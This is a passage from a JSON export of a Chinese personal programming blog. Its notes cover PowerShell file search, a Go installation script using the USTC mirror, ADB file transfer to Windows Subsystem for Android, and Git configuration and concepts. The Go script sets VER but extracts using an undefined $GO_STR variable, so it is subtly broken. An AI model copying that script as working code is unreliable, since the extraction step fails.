href=\"https://xeonds.github.io/2022/06/05/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/PowerShell%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%9F%A5%E6%89%BE%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"查找文件\"\u003e\u003c/a\u003e查找文件\u003c/h2\u003e\u003cp\u003e如果不指定\u003ccode\u003ePath\u003c/code\u003e则默认查找当前目录。查找支持正则表达式。\u003c/p\u003e\u003cfigure class=\"highlight ps\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eGet-ChildItem\u003c/span\u003e \u003cspan class=\"literal\"\u003e-Path\u003c/span\u003e C:\\Users\\JohnDoe \u003cspan class=\"literal\"\u003e-Filter\u003c/span\u003e *.txt \u003cspan class=\"literal\"\u003e-Recurse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"批量git-push\"\u003e\u003ca href=\"https://xeonds.github.io/2022/06/05/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/PowerShell%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%89%B9%E9%87%8Fgit-push\" class=\"headerlink\" title=\"批量git push\"\u003e\u003c/a\u003e批量git push\u003c/h2\u003e\u003cfigure class=\"highlight ps\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eGet-ChildItem\u003c/span\u003e \u003cspan class=\"literal\"\u003e-Directory\u003c/span\u003e | \u003cspan class=\"built_in\"\u003eForEach-Object\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$gitDir\u003c/span\u003e = \u003cspan class=\"built_in\"\u003eJoin-Path\u003c/span\u003e \u003cspan class=\"variable\"\u003e$_\u003c/span\u003e.FullName \u003cspan class=\"string\"\u003e\u0026#34;.git\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eTest-Path\u003c/span\u003e \u003cspan class=\"variable\"\u003e$gitDir\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eSet-Location\u003c/span\u003e \u003cspan class=\"variable\"\u003e$_\u003c/span\u003e.FullName\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e git push\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/06/05/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/PowerShell%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"Go学习笔记","time":"2022-05-06T10:46:36Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"安装\"\u003e\u003ca href=\"https://xeonds.github.io/2022/05/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%AE%89%E8%A3%85\" class=\"headerlink\" title=\"安装\"\u003e\u003c/a\u003e安装\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e访问\u003ca href=\"https://go.dev/\"\u003e这里\u003c/a\u003e ,下载安装包进行安装即可。或者访问\u003ca href=\"https://studygolang.com/dl/\"\u003e这里\u003c/a\u003e下载也可。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e配置\u003ccode\u003ego mod proxy\u003c/code\u003e,参考\u003ca href=\"https://goproxy.cn/\"\u003ehttps://goproxy.cn\u003c/a\u003e即可。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e安装VSCode+Go插件或者Goland等开发工具都可以。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003chr/\u003e\u003cp\u003e最近得在Linux上编译个服务端程序,所以把配置方法记录一下。\u003c/p\u003e\u003cp\u003e源用的是USTC的。看了他们官网发现东西还真不少\u003cdel\u003e比隔壁tuna多多了而且域名还短(确信)\u003c/del\u003e。golang直接下载太慢所以走镜像站。链接在这,时效性应该不用太担心。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://mirrors.ustc.edu.cn/golang/go1.20.1.linux-amd64.tar.gz\"\u003ehttps://mirrors.ustc.edu.cn/golang/go1.20.1.linux-amd64.tar.gz\u003c/a\u003e\u003c/p\u003e\u003cp\u003e步骤很简单,就是\u003ccode\u003ewget\u003c/code\u003e然后\u003ccode\u003etar\u003c/code\u003e解压到指定位置最后把目录加到系统环境变量里边:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eVER=\u003cspan class=\"string\"\u003e\u0026#34;1.20.1\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSH=\u003cspan class=\"string\"\u003e\u0026#34;bash\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 下载解压 \u0026amp; 移除旧版本\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewget https://mirrors.ustc.edu.cn/golang/go\u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$VER\u003c/span\u003e\u0026#34;\u003c/span\u003e.linux-amd64.tar.gz \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003erm\u003c/span\u003e -rf /usr/local/go \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026amp;\u0026amp; tar -C /usr/local -zxf go\u003cspan class=\"variable\"\u003e$GO_STR\u003c/span\u003e.linux-amd64.tar.gz\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 如果是第一次安装且使用bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;export PATH=\u003cspan class=\"variable\"\u003e$PATH\u003c/span\u003e:/usr/local/go/bin\u0026#34;\u003c/span\u003e \u0026gt;\u0026gt; ~/.\u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$SH\u003c/span\u003e\u0026#34;\u003c/span\u003erc\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意:\u003cstrong\u003e执行上面的脚本之前请先自行验证安全性\u003c/strong\u003e。以及,上面的脚本得用root权限执行。\u003c/p\u003e\u003cp\u003e然后就是设置代理。我用\u003ca href=\"http://goproxy.cn/\"\u003ehttp://goproxy.cn\u003c/a\u003e比较多。配置也很简单:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexport\u003c/span\u003e GO111MODULE=on\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexport\u003c/span\u003e GOPROXY=https://goproxy.cn\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"资料\"\u003e\u003ca href=\"https://xeonds.github.io/2022/05/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B5%84%E6%96%99\" class=\"headerlink\" title=\"资料\"\u003e\u003c/a\u003e资料\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://books.studygolang.com/gopl-zh\"\u003e《Go语言圣经》\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"常见问题\"\u003e\u003ca href=\"https://xeonds.github.io/2022/05/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98\" class=\"headerlink\" title=\"常见问题\"\u003e\u003c/a\u003e常见问题\u003c/h2\u003e\u003cul\u003e\u003cli\u003eGo test报错\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e报错内容:\u003ccode\u003ecall has possible formatting directive %v\u003c/code\u003e\u003c/p\u003e\u003cp\u003e原因:\u003ccode\u003ego test\u003c/code\u003e 中不能使用 \u003ccode\u003efmt.Println(\u0026#34;%v\u0026#34;, v)\u003c/code\u003e\u003c/p\u003e\u003ch2 id=\"方案\"\u003e\u003ca href=\"https://xeonds.github.io/2022/05/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%96%B9%E6%A1%88\" class=\"headerlink\" title=\"方案\"\u003e\u003c/a\u003e方案\u003c/h2\u003e\u003cp\u003e使用 \u003ccode\u003efmt.Printf(\u0026#34;%+v\u0026#34;, v)\u003c/code\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/05/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"WSA文件管理","time":"2022-05-01T16:54:29Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"ADB传输文件\"\u003e\u003ca href=\"https://xeonds.github.io/2022/05/01/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Android/WSA%E6%96%87%E4%BB%B6%E7%AE%A1%E7%90%86/#ADB%E4%BC%A0%E8%BE%93%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"ADB传输文件\"\u003e\u003c/a\u003eADB传输文件\u003c/h2\u003e\u003cp\u003e在电脑装Phigros的时候(别问,问就是闲的)发现obb是分离的,于是尝试用ADB直接push到\u003ccode\u003eAndroid/data/com.PigeonGames.Phigros/\u003c/code\u003e目录下,报错,提示权限不足。后来传到\u003ccode\u003e/sdcard/\u003c/code\u003e下再移动进去才成功了。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 连接到wsa\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eadb connect 127.0.0.1:58526\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 传文件到wsa\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eadb push D:\\download\\main.43.com.PigeonGames.Phigros.obb /storage/emulated/0/Android/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 进入shell\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eadb shell\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 创建目标目录\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e /storage/emulated/0/Android/obb/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003emkdir\u003c/span\u003e com.PigeonGames.Phigros\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 将文件移到目标位置\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003emv\u003c/span\u003e ../main.43.com.PigeonGames.Phigros.obb ./com.PigeonGames.Phigros\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 退出\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e到此完成。\u003c/p\u003e\u003ch2 id=\"给WSA安装程序\"\u003e\u003ca href=\"https://xeonds.github.io/2022/05/01/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Android/WSA%E6%96%87%E4%BB%B6%E7%AE%A1%E7%90%86/#%E7%BB%99WSA%E5%AE%89%E8%A3%85%E7%A8%8B%E5%BA%8F\" class=\"headerlink\" title=\"给WSA安装程序\"\u003e\u003c/a\u003e给WSA安装程序\u003c/h2\u003e\u003cp\u003e记下你的安装包的路径,打开终端,按照上面的步骤连接设备后,输入:\u003c/p\u003e\u003cfigure class=\"highlight cmd\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eadb install /\u003cspan class=\"built_in\"\u003epath\u003c/span\u003e/to/app.apk\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e随后等待安装完成即可。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/05/01/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Android/WSA%E6%96%87%E4%BB%B6%E7%AE%A1%E7%90%86/"},{"title":"Git学习笔记","time":"2022-04-22T15:18:41Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"安装\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%AE%89%E8%A3%85\" class=\"headerlink\" title=\"安装\"\u003e\u003c/a\u003e安装\u003c/h2\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo apt install git -y \u003cspan class=\"comment\"\u003e# ubuntu, etc.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo pacman -S git \u003cspan class=\"comment\"\u003e# arch linux\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eWindows从官网下载exe安装,一路下一步即可。\u003c/p\u003e\u003ch2 id=\"配置\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"配置\"\u003e\u003c/a\u003e配置\u003c/h2\u003e\u003cp\u003eGit的配置文件有两种,全局配置文件,和相对于单个仓库而言的局部配置文件。前者应用于该系统中所有仓库,而后者应用于某个仓库。二者存在冲突项时,以后者优先级为更高。\u003c/p\u003e\u003cp\u003e全局配置文件存在于Linux的\u003ccode\u003e~/.gitconfig\u003c/code\u003e,或者是Windows的用户目录下的\u003ccode\u003e.gitconfig\u003c/code\u003e。修改的配置都会储存在这个文件中。而局部配置文件存在于仓库的\u003ccode\u003e.git/config\u003c/code\u003e中,使用\u003ccode\u003egit config\u003c/code\u003e编辑,一般不推荐直接编辑。\u003c/p\u003e\u003cp\u003e在Linux中,输入\u003ccode\u003egit config\u003c/code\u003e后就可以用Tab补全来看到所有可选的选项了。此时修改的,是局部配置;加上\u003ccode\u003e--global\u003c/code\u003e参数后,修改的就是全局配置。\u003c/p\u003e\u003cul\u003e\u003cli\u003e设置用户名和邮箱\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e配置第一步,先设置用户名和邮箱。这是创建提交的重要凭据,相当于你给作品的签名。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit config --global user.name \u003cspan class=\"string\"\u003e\u0026#34;your name\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit config --global user.email \u003cspan class=\"string\"\u003e\u0026#34;your email\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e修改默认编辑器\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e惯用Vim,感觉默认的Nano用不习惯,所以果断换回Vim:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit config --global core.editor vim\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e或者:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003evim ~/.gitconfig\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 修改为如下内容\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[core]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e editor=vim\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e禁用Fast-Forward\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e关于这是什么和为什么禁用的问题请看后文。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit config --global merge.ff \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"入门\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%85%A5%E9%97%A8\" class=\"headerlink\" title=\"入门\"\u003e\u003c/a\u003e入门\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e推荐去看《Pro Git》系统学习。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003egit是重要且强大的版本控制工具。版本控制就相当于Word的历史记录功能,不过远比那强大和可靠。你可以在任何时候,为你当前的修改创建一个\u003ccode\u003ecommit\u003c/code\u003e,它会记录你的仓库中所有文件相对于上个时间点的所有更改记录。\u003c/p\u003e\u003cp\u003e当项目规格急剧增大时,使用版本控制系统(VCS)就是必然的选择:多分支并行开发,代码合并,进度追踪等等,都是保持开发流程井然有序的重要方法。\u003c/p\u003e\u003cp\u003e如果用剧本走向来比喻git,那么git能做到的就是让你能同时尝试所有世界线,并把你喜欢的结局组合到一起。\u003c/p\u003e\u003ch2 id=\"功能\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%8A%9F%E8%83%BD\" class=\"headerlink\" title=\"功能\"\u003e\u003c/a\u003e功能\u003c/h2\u003e\u003cp\u003e基本上,只要掌握\u003ccode\u003eadd\u003c/code\u003e, \u003ccode\u003ecommit\u003c/code\u003e, \u003ccode\u003epush\u003c/code\u003e, \u003ccode\u003epull\u003c/code\u003e, \u003ccode\u003emerge\u003c/code\u003e就可以应付日常使用了。对于一些常见问题,使用\u003ccode\u003egit help\u003c/code\u003e或者在网上寻找答案都是不错的选择。\u003c/p\u003e\u003cp\u003e在介绍功能之前,你可以先去看看Pro Git前几章对Git模型的介绍,包括各种状态的转换,几个空间等。这里简单的介绍下:\u003c/p\u003e\u003cp\u003eGit(大体上)有三个区:首先是工作区,它的范围是你文件夹里所有除了\u003ccode\u003e.git\u003c/code\u003e目录以外的所有文件;其次是暂存区,你更改后使用\u003ccode\u003egit add\u003c/code\u003e暂存的文件都存储在这里。最后一个区是长期存储区,它保存着你的每一个文件,以及对它的每一次修改历史的原始版本。后两个区都位于\u003ccode\u003e.git\u003c/code\u003e目录中。也就是说,只要\u003ccode\u003e.git\u003c/code\u003e目录还在,那么即使你删了仓库里边所有的东西,也能用git恢复所有删除的文件,甚至是你以前的任何一个状态上——就好比玩Gal的时候随时跳转到世界线上的任意一个历史节点。\u003c/p\u003e\u003cp\u003e文件在这三个区域里,也会有不同的状态:在工作区中的文件会呈现出“未跟踪”,或者“已修改”的状态,对它们使用\u003ccode\u003egit add filename\u003c/code\u003e就能把它们送到暂存区,转变为暂存状态。此时\u003cstrong\u003e对这些文件做出的任何修改都可以从暂存区恢复\u003c/strong\u003e,比如不小心删了一段代码又撤销不了,就可以从暂存区恢复这个文件。而暂存区的文件,一旦取消暂存状态,你的这些更改也会跟着消失。这时候,你要是不小心删除了什么还没法撤销的话,就是真丢了。而此时,如果你想把这次更改从暂存区长久保存,就可以使用\u003ccode\u003egit commit\u003c/code\u003e来“提交”你在暂存区存放的所有文件,它们会被放到长期存储区。而在这之前,git会要求你输入一个提交消息。这个消息是强制的,不能输入空白的消息。虽然有时候麻烦,但是对于以后的版本管理是很便利的:你可以想起来这次提交做了什么修改。输入提交信息后,你的修改就并入长期存储区了。这个时候,你的代码基本上就很安全了。使用\u003ccode\u003egit 